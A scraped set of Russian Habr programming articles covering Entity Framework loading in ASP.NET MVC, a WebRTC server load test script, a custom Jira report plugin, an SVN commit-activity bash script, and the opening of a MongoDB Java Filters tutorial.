```
Метод принимает опциональные строковые параметры: ID значений выбранных преподавателя и курса, и затем передаёт необходимые данные в представление. ID поступают от ссылок **Select** на странице.
Код начинается созданием экземпляра модели представления и передачи в него списка преподавателей:
```
var viewModel = new InstructorIndexData();
viewModel.Instructors = db.Instructors
.Include(i => i.OfficeAssignment);
.Include(i => i.Courses.Select(c => c.Department))
.OrderBy(i => i.LastName);
```
Мы определяем eager loading для Instructor.OfficeAssignment и Instructor.Courses navigation property. Для связанных сущностей Course eager loading определяется для Course.Department navigation property с использованием метода Select в методе Include. Результаты сортируются по фамилии.
Если выбран преподаватель, то данный преподаватель извлекается из списка преподавателей в модели данных, после чего свойство Courses инициализируется сущностями Course из соответствующей преподавателю Courses navigation property.
```
if (id != null)
{
ViewBag.InstructorID = id.Value;
viewModel.Courses = viewModel.Instructors.Where(i => i.InstructorID == id.Value).Single().Courses;
}
```
Метод Where возвращает коллекцию, но в данном случае условие, переданное методу, указывает на то, чтобы возвратить только одну сущность Instructor. Метод Single конвертирует коллекцию в одну сущность Instructor, что позволяет обратиться к соответствующему данной сущности свойству Courses.
Метод Single используется на коллекции если известно, что коллекция будет состоять из одного элемента. Данный метод выбрасывает исключения, если коллекция пустая или состоит из более чем одного элемента. Однако и в данном случае будет выброшено исключение (из-за свойства Course с ссылкой null). При вызове Single вместо отдельного вызова Where можно передать само условие:
.Single(i => i.InstructorID == id.Value)
Вместо:
.Where(I => i.InstructorID == id.Value).Single()
Далее, если выбран курс, то этот курс извлекается из списка курсов в модели. Затем свойство модели Enrollments инициализируется сущностями Enrollments navigation property.
```
if (courseID != null)
{
ViewBag.CourseID = courseID.Value;
viewModel.Enrollments = viewModel.Courses.Where(x => x.CourseID == courseID).Single().Enrollments;
}
```
И, наконец, возвращение в модель:
return View(viewModel);
**Редактирование****представления** **Instructor Index**
В *Views\Instructor\Index.cshtml* замените код на:
```
@model ContosoUniversity.ViewModels.InstructorIndexData
@{
ViewBag.Title = "Instructors";
}
Instructors
-----------
@Html.ActionLink("Create New", "Create")
| | Last Name | First Name | Hire Date | Office |
| --- | --- | --- | --- | --- |
@foreach (var item in Model.Instructors)
{
string selectedRow = "";
if (item.InstructorID == ViewBag.InstructorID)
{
selectedRow = "selectedrow";
}
|
@Html.ActionLink("Select", "Index", new { id = item.InstructorID }) |
@Html.ActionLink("Edit", "Edit", new { id = item.InstructorID }) |
@Html.ActionLink("Details", "Details", new { id = item.InstructorID }) |
@Html.ActionLink("Delete", "Delete", new { id = item.InstructorID })
|
@item.LastName
|
@item.FirstMidName
|
@String.Format("{0:d}", item.HireDate)
|
@if (item.OfficeAssignment != null)
{
@item.OfficeAssignment.Location
}
|
}
```
Изменения:
* Заголовок страницы изменён на **Instructors**.
* Moved the row link columns to the left.
* Убран столбец **FullName**.
* Добавлен столбец **Office,** отображающий item.OfficeAssignment.Location в том случае, если item.OfficeAssignment не null. (Из-за того, что здесь связь один-к-нулю-или-одному, с сущностью может быть не связана ни одна сущность OfficeAssignment.)
```
@if (item.OfficeAssignment != null)
{
@item.OfficeAssignment.Location
}
|
```
* Добавлен код, динамически добавляющий class="selectedrow" в контейнер tr выбранного преподавателя. Таким образом мы задаём цвет фона, используя CSS-класс. (атрибут valign будет полезен в будущем, когда мы добавим многостроковый столбец в таблицу)
```
string selectedRow = "";
if (item.InstructorID == ViewBag.InstructorID)
{
selectedRow = "selectedrow";
}
|
```
* Перед ссылками в каждой строке добавлен новый ActionLink **Select**, что позволяет передать ID выбранного преподавателя в метод Index.
Запустите проект, чтобы увидеть список преподавателей. На странице отображается свойство Location, связанное с сущностями OfficeAssignment и пустая ячейка, если связанных сущностей OfficeAssignment нет.
в *Views**\**Instructors**\**Index**.**cshtml* после контейнера table добавьте код, отображающий список курсов выбранного преподавателя.
```
@if (Model.Courses != null)
{
### Courses Taught by Selected Instructor
| | ID | Title | Department |
| --- | --- | --- | --- |
@foreach (var item in Model.Courses)
{
string selectedRow = "";
if (item.CourseID == ViewBag.CourseID)
{
selectedRow = "selectedrow";
}
|
@Html.ActionLink("Select", "Index", new { courseID = item.CourseID })
|
@item.CourseID
|
@item.Title
|
@item.Department.Name
|
}
}
```
Код загружает свойство модели представления Courses для отображения списка курсов, и отображает ссылку Select, с помощью которой в метод Index передаётся ID выбранного курса.
Выберите преподавателя, и увидите таблицу с курсами данного преподавателя и факультеты, на которых ведутся курсы.
**Note** если выбранная строка не меняет цвет, обновите страницу, иногда это нужно для загрузки файла .css.
После кода, который вы добавили, добавьте код, отображающий список студентов, учащихся на выбранном курсе.
```
@if (Model.Enrollments != null)
{
###
Students Enrolled in Selected Course
| Name | Grade |
| --- | --- |
@foreach (var item in Model.Enrollments)
{
|
@item.Student.FullName
|
@item.Grade
|
}
}
```
Код загружает свойство модели представления Enrollments для отображения списка учащихся на выбранном курсе студентов.
Выберите преподавателя и щёлкните на курсе, чтобы увидеть учащихся студентов и их оценки.
![clip_image002[2]](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/4024.clip_5F00_image0022_5F00_3B197F39.png "clip_image002[2]")
**Добавление** **Explicit****Loading**
В *InstructorController**.**cs* и обратите внимание на то, как метод Index загружает список учащихся на выбранном курсе:
```
if (courseID != null)
{
ViewBag.CourseID = courseID.Value;
viewModel.Enrollments = viewModel.Courses.Where(x => x.CourseID == courseID).Single().Enrollments;
}
```
Во время загрузки списка преподавателей вы определили eager loading для Courses navigation property и свойства каждого из курсов Department, после чего отправили коллекцию Courses в модель представления, и теперь загружаете Enrollments navigation property из одной из сущностей в этой коллекции. Из-за того, что вы не определили eager loading для Course.Enrollments navigation property, данные этого свйоства появляются на странице в результате lazy loading.
Если отключить lazy loading, свойство Enrollments будет равно null независимо от того, сколько учащихся учится на этом курсе. В этом случае, чтобы инициализировать свойство Enrollments, вы должны определить для него eager loading или explicit loading. Для определения explicit loading замените код метода Index на:
```
public ActionResult Index(Int32? id, Int32? courseID)
{
var viewModel = new InstructorIndexData();
viewModel.Instructors = db.Instructors
.Include(i => i.OfficeAssignment)
.Include(i => i.Courses.Select(c => c.Department))
.OrderBy(i => i.LastName);
if (id != null)
{
ViewBag.InstructorID = id.Value;
viewModel.Courses = viewModel.Instructors.Where(i => i.InstructorID == id.Value).Single().Courses;
}
if (courseID != null)
{
ViewBag.CourseID = courseID.Value;
var selectedCourse = viewModel.Courses.Where(x => x.CourseID == courseID).Single();
db.Entry(selectedCourse).Collection(x => x.Enrollments).Load();
foreach (Enrollment enrollment in selectedCourse.Enrollments)
{
db.Entry(enrollment).Reference(x => x.Student).Load();
}
viewModel.Enrollments = viewModel.Courses.Where(x => x.CourseID == courseID).Single().Enrollments;
}
return View(viewModel);
}
```
После загрузки выбранной сущности Course, новый код явно загружает свойства Enrollments:
db.Entry(selectedCourse).Collection(x => x.Enrollments).Load();
Затем явно загружаются сущности Student:
db.Entry(enrollment).Reference(x => x.Student).Load();
Обратите вниамние на то, что вы используете метод Collection для инициализации свойства коллекции, но для свойства с одним элементом вы используете метод Reference. Теперь можно открыть страницу Instructor Index – ничего не изменилось внешне, но изменился принцип загрузки данных.
Итак, вы использовали все три метода загрузки данных в navigation properties. В следующем уроке вы научитесь обновлять связанные данные.
#### Благодарности
Благодарим за помощь в переводе Александра Белоцерковского ([ahriman](http://habrahabr.ru/users/ahriman/)). | https://habr.com/ru/post/134222/ | null | ru | null |
# WebRTC лицом к лицу. Нагрузочный тест видео чата
Мы продолжаем разбирать варианты нагрузочных тестов. В этой статье мы разберем методику тестирования и проведем нагрузочный тест, с помощью которого попытаемся определить число пользователей, которые одновременно будут и зрителями, и стримерами, т.е. каждый пользователь и публикует, и просматривает потоки.
Один из самых распространённых вариантов работы WebRTC сервера это "Один ко многим". В этом варианте к серверу подключается много зрителей, которые смотрят один поток. Таким образом работает, например, трансляция соревнований: трансляция идет, зрители смотрят.
Но случается, что нужно реализовать другой подход - "Один к одному", когда стример является зрителем другого потока Такой вариант может использоваться, например, для организации [видеочата](https://flashphoner.com/webrtc-videochat-v-brauzere/?lang=ru) без использования [микшера](https://flashphoner.com/mikshirovanie-potokov/?lang=ru) или [MCU](https://flashphoner.com/mnogotochechnaya-video-konferentsiya/?lang=ru).
### План-схема тестирования
1. На тестирующем сервере WCS#1 опубликовать поток 1280x720, 30 fps, битрейт 2500 кбит/с.
2. Опубликовать исходный поток, при помощи REST API запроса /pull/push, в необходимом количестве экземпляров на тестируемый сервер WCS #2.
3. При помощи второго REST API запроса /pull/push забрать с тестируемого сервера WCS#2 на сервер WCS#1 каждый экземпляр ранее опубликованного потока.
4. На тестируемом сервере WCS#2 воспроизвести случайный поток и визуально оценить его качество. Оценить нагрузку на сервер с помощью метрик, получаемых от системы мониторинга Prometheus.
### Тестовый стенд
Для тестирования нам понадобятся
* два WCS-сервера;
* стандартный пример "[Media Devices](https://flashphoner.com/testirovanie-upravleniya-kameroj-mikrofonom-i-parametrami-potoka/?lang=ru)" для публикации потока с заданными параметрами;
* скрипт для проведения теста;
Предполагаем, что у вас уже есть установленные и настроенные серверы WCS. Если нет, то устанавливаем по [этой инструкции](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019), делаем [твики для производительности](https://flashphoner.com/kakoy-nuzhen-server-dlya-1000-webrtc-strimov/?lang=ru) и подключаем к [мониторингу](https://flashphoner.com/10-vazhnyh-metrik-webrtc-striminga-i-nastrojka-monitoringa-prometheus-grafana/?lang=ru).
Для тестирования мы использовали два сервера:
**WCS#1 (тестирующий)** с характеристиками:
* 24 ядра, 48 потоков
* 128 Gb RAM
* WCS 5.2.946
* OpenJDK version 14.0.1
и
**WCS#2 (тестируемый)** с характеристиками:
* 12 ядер, 24 потока
* 84 Gb RAM
* WCS 5.2.946
* OpenJDK version 14.0.1
В [одном из предыдущих тестирований](https://flashphoner.com/kakoy-nuzhen-server-dlya-1000-webrtc-strimov/?lang=ru) мы опытным путем уже выяснили, что нагрузка на тестирующий сервер приходится достаточно большая, поэтому для успешности тестов тестирующий сервер должен быть минимум в два раза мощнее, чем тестируемый, или в качестве тестирующего должно выступать несколько серверов.
Настройки наших серверов:
Файл [flashphoner.properties](https://docs.flashphoner.com/pages/viewpage.action?pageId=1049300) (без настроек по умолчанию):
```
#webrtc ports range
media_port_from = 20001
media_port_to = 40000
wcs_activity_timer_timeout=86400000
global_bandwidth_check_enabled=true
zgc_log_parser_enable=true
zgc_log_time_format=yyyy-MM-dd'T'HH:mm:ss.SSSZ
```
Здесь мы увеличили диапазон портов и время на прохождение теста, а так же указали настройки для сбора дополнительных метрик по загруженности сети и пауз в работе ZGC.
Файл [wcs-core.properties](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241071) (без настроек по умолчанию):
```
-XX:ErrorFile=/usr/local/FlashphonerWebCallServer/logs/error%p.log
# ZGC
-XX:+UnlockExperimentalVMOptions -XX:+UseZGC -Xms24g -Xmx24g -XX:+UseLargePages -XX:ZPath=/hugepages
-Xlog:gc*:/usr/local/FlashphonerWebCallServer/logs/gc-core-:time
```
Здесь мы изменили настройки для именования файлов логов, включили использование ZGC, настроили размер Heap и включили использование страниц памяти.
Полные версии файлов настроек можно скачать в разделе "Полезные файлы" в нижней части статьи. Там же вы найдете панель для Grafana и файл скрипта для запуска тестирования.
#### Скрипт для тестирования
```
#!/bin/bash
sourceStreamName=$1
sourceServer=$2
serverToTest=$3
testStreamsCount=$4
if [[ -z $sourceStreamName ]] || [[ -z $sourceServer ]] || [[ -z $serverToTest ]]; then
echo "Usage: $(basename $0) stream_name source_server server_to_test test_streams_count"
echo -e " stream_name\t\tstream published on source server name"
echo -e " source_server\t\tsource server ip address"
echo -e " server_to_test\t\tserver to test ip address"
echo -e " test_streams_count\t\tstreams count to push (1 by default)"
exit 1
fi
[[ -z $testStreamsCount ]] && testStreamsCount=1
# Check if source stream is published
result=`curl -s -i -o /dev/null -w '%{http_code}' -H "Content-Type: application/json" -X POST http://$sourceServer:8081/rest-api/stream/find --data "{\"name\":\"$sourceStreamName\",\"published\":true}" | grep 200`
if [[ $result != "200" ]]; then
echo "Stream $sourceStreamName is not published on server $sourceServer!"
exit 1
fi
# Push streams to the server to test
echo "Publishing $testStreamsCount copies of stream $sourceStreamName to the server $serverToTest"
for ((i = 1; i <= $testStreamsCount; i++)); do
curl -s -H "Content-Type: application/json" -X POST http://$sourceServer:8081/rest-api/pull/push --data "{\"uri\":\"ws://$serverToTest:8080/websocket\",\"localStreamName\":\"$sourceStreamName\",\"remoteStreamName\":\"$sourceStreamName$i\"}"
done
# Wait for 5 seconds
echo "Waiting for 5 seconds..."
sleep 5
# Push streams back to source server
echo "Playing $testStreamsCount copies of stream $sourceStreamName from the server $serverToTest"
for ((i = 1; i <= $testStreamsCount; i++)); do
curl -s -H "Content-Type: application/json" -X POST http://$serverToTest:8081/rest-api/pull/push --data "{\"uri\":\"ws://$sourceServer:8080/websocket\",\"localStreamName\":\"$sourceStreamName$i\",\"remoteStreamName\":\"$sourceStreamName$i\"}"
done
echo "To stop the test, just stop publishing stream $sourceStreamName"
```
где:
**sourceStreamName** — имя исходного потока, который опубликован на тестирующем сервере WCS#1;
**sourceServer** — имя или IP адрес тестирующего сервера WCS#1;
**serverToTest** — имя или IP адрес тестируемого сервера WCS#2;
**testStreamsCount** — количество потоков для теста.
### Тестирование
На тестирующем сервере WCS#1 с помощью примера "[Media Devices](https://flashphoner.com/testirovanie-upravleniya-kameroj-mikrofonom-i-parametrami-potoka/?lang=ru)" опубликуем поток под именем "test" с параметрами 1280x720, 30 fps, битрейт 2500 кбит/с.
Затем, в консоли тестирующего сервера, запускаем скрипт для тестирования со следующими параметрами:
```
./pull_push_test.sh test 172.16.40.3 172.16.40.2 200
```
где
**test** — имя опубликованного потока на WCS#1
**172.16.40.3** — IP адрес тестирующего сервера WCS#1
**172.16.40.2** — IP адрес тестируемого сервера WCS#2
**200** — число потоков
Результат тестирования для 200 потоков на скриншоте ниже:
Тест был пройден успешно. Деградации стримов не было зафиксировано и контрольный поток воспроизводился с приемлемым качеством — без фризов, артефактов, снижения качества звука:
На нашем оборудовании тест завершился успешно. Хотелось бы напомнить, что на вашем оборудовании результаты тестирования могут меняться как в лучшую, так и в худшую сторону в зависимости от окружения, географического размещения серверов и пользователей - как подписчиков, так и стримеров.
Поэтому, рекомендуем, прежде чем принять окончательное решение по выбору серверов провести все возможные тесты, которые могут относиться к вашей задаче, и принимать решение опираясь на их результаты.
Хорошего стриминга!
### Полезные файлы
Панель для Grafana:
* [WebRTC-720p-testing.json](https://flashphoner.com/wp-content/uploads/2021/07/WebRTC-720p-testing.json)
Настройки WCS:
* [flashphoner.properties](https://flashphoner.com/wp-content/uploads/2021/07/flashphoner.properties)
* [wcs-core.properties](https://flashphoner.com/wp-content/uploads/2021/07/wcs-core.properties)
Скрипт для теста:
* [pull\_push\_test.sh](https://flashphoner.com/wp-content/uploads/2021/07/pull_push_test.sh)
### Наш демо-сервер
* [WCS на Amazon EC2](https://flashphoner.com/podderzhka-oblachnyh-serverov-amazon-ec2-v-web-call-server/?lang=ru) - Быстрое развертывание WCS на базе Amazon
* [WCS на DigitalOcean](https://flashphoner.com/podderzhka-web-call-server-v-digital-ocean-marketplace/?lang=ru) - Быстрое развертывание WCS на базе DigitalOcean
* [WCS в Docker](https://flashphoner.com/podderzhka-web-call-server-v-docker/?lang=ru) - Запуск WCS как Docker контейнера
* [Управление параметрами публикации и воспроизведения](https://flashphoner.com/upravlenie-kameroj-mikrofonom-i-parametrami-potoka/?lang=ru) Функции сервера по управлению различными параметрами публикации и воспроизведения видеопотоков
* [Документация по быстрому развертыванию и тестированию WCS сервера](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019)
* [Документация по мониторингу информации о нагрузке и ресурсах](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241112)
* [Документация по организации мониторинга с помощью Prometheus](https://docs.flashphoner.com/pages/viewpage.action?pageId=14256163)
* [Описание файла настроек flashphoner.properties](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241061)
* [Описание файла настроек wcs-core.properties](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241071)
* [Документация по управлению памятью в Java](https://docs.flashphoner.com/pages/viewpage.action?pageId=14255501)
* [Рекомендации по тонкой настройке сервера](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241213)
* [Документация по подготовке к промышленной эксплуатации WCS](https://docs.flashphoner.com/pages/viewpage.action?pageId=23036804) | https://habr.com/ru/post/570308/ | null | ru | null |
# Кастомный отчет для Jira или как приключение затянулось
Представим ситуацию – вам надо сделать небольшой отчет на основе данных из другой системы. Звучит обыденно и вы сразу в голове представляете, что надо будет делать: узнать какие будут входные данные и в каком виде они к нам поступят, какая будет логика отчета (что на что надо умножить и т.д.) и в каком виде отчет должен быть представлен (график, диаграмма, таблица и т.д.), реализовать.
Но что, если я вам скажу, что это должна быть не какая-то новая система, а плагин для Jira. Все вышесказанное никуда не уходит, но добавляются нюансы. Вот о таких нюансах (и как не вылететь из-за них из всех разумных сроков) эта статья.
### Начало положено
У нас в группе компаний НЛМК для отслеживания задач используется Jira. И естественно в процессе использования она была сильно адаптирована под наши рабочие процессы (много кастомных полей, несколько workflow под разные типы задач и т.д.). И вот назрела необходимость сделать небольшой отчет, который будет агрегировать информацию по задачам на разработку (в терминологии НЛМК – задание на изменение или просто ЗНИ) в разрезе этих кастомных полей. Как уже было написано выше, задача довольно таки тривиальная и многие сейчас скажут – “Да я подобные задачи делаю по 2 каждый день. Не вижу проблемы”. Мы тоже сначала не видели.
К отчету были приведены следующие требования:
* возможность задать параметры отчета, которые будут выступать фильтрами для ЗНИ, которые должны попасть в отчет;
* сам отчет будет представлен в виде таблицы;
* должна быть возможность выгрузить отчет в виде excel-файла.
Если говорят, что надо делать, значит сделаем. После небольшого мозгового штурма были 2 основных варианта:
* реализовать функционал в качестве плагина для JIRA;
* сделать свою систему, которая будет использовать Jira в качестве master-системы.
Со вторым подходом все понятно: все свое кастомное (front, back, экспорт в excel), стучимся в Jira по REST и запрашиваем необходимую информацию. Займет, предположительно, больше времени, но на выходе получим расширяемую систему с претензиями на рост.
Начали копать про плагины для Jira. Сначала все выглядело не очень позитивно. Но потом выяснилось, что Atlassian SDK позволяет добавить в плагин модуль report. Читаем первые 2 абзаца [документации](https://developer.atlassian.com/server/jira/platform/report/) (приведу тезисно):
* модуль позволяет реализовать отчет на основе данных из Jira (неудивительно);
* позволяет сделать как html-представление, так и в виде excel-файла;
* позволяет задать пользователю параметры перед формирование отчета.
Выглядит словно под нас делали, но мы не стали спешить радоваться и решили сначала посмотреть, как это все предлагают реализовывать.
Начальные параметры указываются непосредственно
в atlassian-plugin.xml:
```
startDate
report.startdate
report.startdate.description
date
endDate
report.issuecreation.enddate
report.enddate.description
date
projectid
report.issuecreation.projectid.name
report.projectid.description
multiselect
```
Из этого описания сама Jira сгенерирует страницу с параметрами. При нажатии кнопки будет вызван основной класс отчета, в который придут выбранные параметры, на основании которых будет реализована логика формирования отчета. Далее сгенерированный отчет объединяется с шаблоном и результат выводится на экран пользователю.
А что по экспорту в excel? В основном классе отчета можно переопределить метод [isExcelViewSupported](https://docs.atlassian.com/software/jira/docs/api/8.20.11/com/atlassian/jira/plugin/report/impl/AbstractReport.html#isExcelViewSupported--) класса [AbstractReport](https://docs.atlassian.com/software/jira/docs/api/8.20.2/com/atlassian/jira/plugin/report/impl/AbstractReport.html), чтобы он возвращал *true* и тогда в углу отчета появляется магическая кнопка для экспорта в excel-файл.
Что из этого всего вытекает:
* не надо самим делать полностью front, лишь непосредственно страницу отчета;
* не надо самим делать экспорт в excel;
* отчет будет в существующей системе, которой уже пользуются пользователи.
На основе всего вышесказанного было принято решение реализовывать отчет в виде плагина для Jira.
### Первый блин - не комом, но могло быть и лучше
На основе всего изученного выше начали работу. Делали все так сказать по фэн-шую с небольшими вкраплениями собственных идей. Но как оказалось не все так гладко в датском королевстве.
Начнем с экрана с начальными параметрами. Jira правда сгенерировала этот экран на основе указанного нами xml, но вот красота сего произведения оставляла желать лучшего. И если с полями для выбора дат все было вполне приемлемо, то вот с multiselect все оказалось хуже.
Из коробки получилось следующееНа выходе получался стандартный select с атрибутом [multiple](http://htmlbook.ru/html/select/multiple). С одной стороны, все работает – значения успешно прокидываются в select, пользователь может выбрать несколько значений, который потом успешно попадают в основной класс отчета. С другой стороны, пользоваться этим было откровенно неудобно, особенно если у параметра было много допустимых значений (больше 5).
Далее возникла проблема экспортом отчета в excel. Опять же, при нажатии кнопки экспорта, пользователю предлагалось загрузить на компьютер файл с форматом .xls, который можно было открыть и увидеть ту же информацию. Однако как оказалось это не настоящий excel, а просто html-файл с форматом .xls. Excel достаточно умный чтобы открыть такой файл, но вот дальнейшая работа с ним проблематична – если надо дополнительно что-то посчитать или не дай бог построить сводный отчет, то беда.
С этой проблемой нам удалось справиться. Jira позволяет в плагине добавить свой REST-endpoint, который будет казаться частью самой Jira, что мы и сделали. Отвечал этот endpoint за генерацию «настоящего» excel-файла по параметрам с первого экрана. Чтобы его вызвать была добавлена соответствующая кнопка на экран с самим отчетом.
Следующая проблема, с которой нам пришлось бороться это проблема прав. В Jira все отчеты, реализованные через модуль report попадают во вкладку "Отчеты" экрана проекта. Получается, что все пользователи могут этот отчет вызвать, что нас категорически не устраивало. После некоторых раздумий пришли к такому решению: проверять права на этапе генерирования отчета и в случае если у пользователя нет прав на данный отчет, после экрана с параметрами выдавать другую страницу с соответствующим сообщением.
В итоге было принято решение что текущая реализация подойдет в качестве первой версии отчета, но есть над чем работать.
### Надо еще подумать
Начали думать, как нам быть и что делать. Посмотрим, что происходит под капотом.
Подкапотное пространство до тюнингаJira из xml генерирует начальную страницу для выбора параметров отчета. Для каждого select в плагине должен присутствовать класс реализующий интерфейс [ValuesGenerator](https://docs.atlassian.com/software/jira/docs/api/8.20.11/com/atlassian/configurable/ValuesGenerator.html). В качестве примера можно привести генератор для проектов:
```
public class ProjectsGenerator implements ValuesGenerator {
@Override
public Map getValues(Map map) {
final ProjectManager projectManager = ComponentAccessor.getProjectManager();
return projectManager.getProjects().stream()
.collect(Collectors.toMap(Project::getKey, Project::getName));
}
}
```
После того как будут получены значения для всех select интерфейс выбора параметров будет предоставлен пользователю. Вот на этом моменте уже появляются 2 проблемы:
* не можем вклиниться в процесс генерации этого экрана и сделать его более приятным глазу;
* на данном этапе нет возможности провалидировать параметры, выбранные пользователем из-за чего валидация в основном классе отчета.
Проблема с правами возникает из-за того, что создатели Jira предполагают, что все отчеты, реализованные через модуль report должны быть доступны через соответствующую вкладку в проекте. В рамках нашей задачи такой подход нас не устраивает.
После тщательного изучения документации нашли что есть такой модуль как [webwork](https://developer.atlassian.com/server/jira/platform/webwork/). Суть его в том, что в рамках него можно объявлять несколько связок url-шаблон-класс с переходами от одной связки к другой. Кроме того, в этом же модуле можно сразу указать какие роли требуются для перехода по данному url. В atlassian-plugin.xml это выглядит следующим образом (пример взят из документации):
```
templates/actions/prepared-reference-action.vm
templates/actions/reference-action.vm
```
Работа плагина с учетом нового подхода будет выглядеть следующим образом:
Подкапотное пространство после тюнингаМожно сделать так сказать двойную проверку прав, которая будет происходить средствами самой Jira:
* на уровне видимости кнопки – реализуется с помощью condition для [web-item](https://developer.atlassian.com/server/jira/platform/web-item/);
* на уровне action в модуле webwork (на случай если у пользователя осталась ссылка на отчет, а права у него забрали).
Теперь касательно интерфейса. Если мы не можем вклиниться в его генерацию мы просто реализуем свой. В таком случае будет возможность и навести красоту, и вынести валидацию параметров из основного класса отчета в класс для страницы с параметрами.
Соответственно в нашем случае описание модуля будет выглядеть следующим образом:
```
Report-webwork Plugin
/templates/configuration/report-configuration.vm
/templates/view/html-view.vm
```
Данный подход был предложен заказчику, и он согласился что надо пробовать.
### Второй блин
Решили идти итерациями:
1. перевод текущего функционала на webwork;
2. добавление дополнительных «хотелок» (подсветка строк в отчете, добавление новых столбцов и т.д.);
3. решение проблемы с правами.
Основным челенджом первой итерации было написать собственно страницы с параметрами отчета. Тут уж мы обратились за помощью к коллегам из отдела frontend-разработки – обрисовали им ситуацию и что хотим получить на выходе. После некоторого молчания коллеги нам выкатили UI, в котором элементы выглядят уже гораздо приятнее:
От нас оставалось только преобразовать это все в velocity-шаблон и привязать к определенному action в webwork. Конфигурация модуля выглядит следующим образом:
```
Report-webwork Plugin
/templates/configuration/report-configuration.vm
/templates/view/html-view.vm
```
Классы, которые предоставляли выдающим спискам значения подверглись минимальной доработке, после чего у нас появился красивый экран с параметрами отчета.
Был добавлен web-item, который представлял собой ссылку на action с конфигурацией отчета. В результате в верхней панели появилась кнопка для вызова отчета.
REST-endpoint для экспорта в excel в итоге переехал без изменений.
На выходе получился отчет с приятным интерфейсом, той же функциональностью (за мелкими улучшениями) и реализованный более гибким способом.
 | https://habr.com/ru/post/681874/ | null | ru | null |
# Наглядное представление активности коммитов SVN в терминале
В небольших личных проектах я использую SVN и bug-трекером в таких случаях служит лист формата A4. `svn log` никогда не был легко читаем для меня, поэтому я написал bash-скрипт, позволяющий наглядно видеть активность разработки за последнее время или список коммитов заданной даты:
```
#!/bin/bash
usage='usage:
./svn_log OR ./svn\_log
examples:
./svn\_log 10 OR ./svn\_log 2013-08-02'
# 1. получаем входной параметр - количество дней ($days) или дата в формате YYYY-MM-DD ($date)
param=$1
if [ -n "$param" ]; then
if [[ "$param" =~ ^[0-9]+$ ]] ; then
days="$param"
elif [[ "$param" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]]; then
date="$param"
else
echo "$usage"
exit 1
fi
else
days=7 # по умолчанию показываем статистику коммитов за прошедшую неделю
fi
# 2. запуск без параметра или с числовым параметром - статистика коммитов по дням
if [ -n "$days" ]; then
# svn log в переменную чтобы обойтись одним вызовом
start=`date +"%Y-%m-%d" --date "$end -$days day"`
svn\_log=`svn log -r {$start}:HEAD`
for (( i=0; i<$days; i++ ))
do
# получаем дату каждого для в формате YYYY-MM-DD
day=`date +"%Y-%m-%d" --date "$end -$i day"`
# используем полученную дату для поиска по svn log
num\_commits=$(echo "$svn\_log" | grep "$day" | wc -l)
# вывод результатов
echo -ne "$day "
for (( c=0; c<$num\_commits; c++ )); do
echo -ne '#'
done
echo ''
done
fi
# 3. запуск с параметром даты - перечень коммитов в указанный день
if [ -n "$date" ]; then
svn\_log=`svn log -r {$date}:HEAD`
echo "$svn\_log" | grep -A 2 -B 1 "$date" | awk "NR%4==0"
fi
```
Скачать скрипт: [pastebin.com](http://pastebin.com/qABrNS80)
Буду рад, если этот инструмент пригодится кому-либо еще. | https://habr.com/ru/post/188872/ | null | ru | null |
# Запросы к MongoDB из Java с помощью билдера фильтров
### 1. Обзор
В этой статье разберемся, как использовать класс [Filters](https://www.mongodb.com/docs/drivers/java/sync/current/fundamentals/builders/filters/) для запросов к [MongoDB](https://www.baeldung.com/java-mongodb).
Класс Filters представляет собой билдер для удобного написания фильтров запросов. Фильтры — это некоторые условные операции, которые MongoDB использует для ограничения результатов.
### 2. Типы билдеров
Драйвер MongoDB для Java предоставляет несколько типов [билдеров](https://www.mongodb.com/docs/drivers/java/sync/current/fundamentals/builders/), упрощающих создание [BSON](https://www.baeldung.com/mongodb-bson)-документов и предоставляющих удобный API для выполнения различных CRUD-операций и агрегации.
Доступны следующие билдеры:
* Filters — фильтры запросов;
* Projections — проекции (какие поля включить, а какие исключить из результата);
* Sorts — критерии сортировки;
* Updates — операции обновления;
* Aggregates — пайплайны агрегации (aggregation pipeline);
* Indexes — создание индексов.
Далее рассмотрим использование Filters.
### 3. Инициализация базы данных
Начнем с создания базы данных и коллекции user, на примере которой и будем рассматривать различные операции фильтрации.
```
use baeldung;
db.createCollection("user");
```
Заполним коллекцию user несколькими документами:
```
db.user.insertMany([
{
"userId":"123",
"userName":"Jack",
"age":23,
"role":"Admin"
},
{
"userId":"456",
"userName":"Lisa",
"age":27,
"role":"Admin",
"type":"Web"
},
{
"userId":"789",
"userName":"Tim",
"age":31,
"role":"Analyst"
}]);
```
При выполнении успешной вставки получим следующий ответ:
```
{
"acknowledged" : true,
"insertedIds" : [
ObjectId("6357c4736c9084bcac72eced"),
ObjectId("6357c4736c9084bcac72ecee"),
ObjectId("6357c4736c9084bcac72ecef")
]
}
```
### 4. Использование класса Filters
В классе Filters содержатся статические фабричные методы, выполняющие различные операции фильтрации в MongoDB. Каждый из этих методов возвращает экземпляры интерфейса BSON, который можно передать любому методу, ожидающему фильтр запроса.
**Класс** `Filters` **— это замена** [**QueryBuilder**](https://mongodb.github.io/mongo-java-driver/4.7/apidocs/mongodb-driver-legacy/com/mongodb/QueryBuilder.html) **устаревшего API.**
Методы в `Filters` классифицируются по типу выполняемых операций: условные, логические, работа с массивами, проверка существования поля и его типа, побитовые и геопространственные.
Рассмотрим некоторые часто используемые методы `Filters`.
#### 4.1. Метод eq()
Метод `Filters.eq()` создает фильтр для получения документов, в которых значение поля **равно указанному значению**.
Для начала выполним запрос в MongoDB Shell для поиска в коллекции user документов с полем `userName` равным `"Jack"`:
```
db.getCollection('user').find({"userName":"Jack"})
```
Приведенный выше запрос возвращает один документ:
```
{
"_id" : ObjectId("6357c4736c9084bcac72eced"),
"userId" : "123",
"userName" : "Jack",
"age" : 23.0,
"role" : "Admin"
}
```
Далее напишем аналогичный запрос с использованием `Filters`:
```
Bson filter = Filters.eq("userName", "Jack");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
Можно заметить, что метод `Filters.eq()` возвращает тип BSON, который затем передается в метод [find()](https://www.baeldung.com/mongodb-find) в качестве фильтра.
Также есть метод `Filters.ne()`, который прямо противоположен методу `Filters.eq()` — выбираются все документы со значением поля не равным указанному значению:
```
